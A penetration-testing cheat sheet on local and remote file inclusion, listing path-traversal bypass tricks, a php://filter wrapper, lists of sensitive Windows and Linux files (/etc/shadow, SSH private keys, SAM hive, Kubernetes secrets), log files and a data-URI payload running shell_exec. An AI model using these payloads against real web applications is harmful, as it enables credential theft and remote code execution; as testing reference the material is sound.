# LFI / RFI

## Local File Inclusion:

1. Check if you can convert LFI to RFI
2. Try adding %00 to bypass the added extension on the server side. (Works on PHP < 5.3)
3. You can even add? to bypass it.&#x20;
4. If you can't read php files: **php\://filter/convert.base64-encode/resource=index**
5. Try reading important files from the system other than **passwd.** Enumeration might help in determining which files might be important. Maybe try checking the config files for the web app

{% embed url="<https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html>" %}

### WINDOWS FILES:

```
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
```

### LINUX FILES:

```
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/resource=/etc/passwd
```

### LOG FILES:

```
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```

### **RFI:**

```
file=data:text/plain,hello world
file=data:text/plain,<?php echo shell_exec("dir") ?>
```

### Resources:

{% embed url="<https://blog.noob.ninja/local-file-read-via-xss-in-dynamically-generated-pdf/>" %}

{% embed url="<https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/>" %}

{% embed url="<https://kongwenbin.com/write-up-for-gemini-inc-1/>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

{% embed url="<https://medium.com/@Aptive/local-file-inclusion-lfi-web-application-penetration-testing-cc9dc8dd3601>" %}
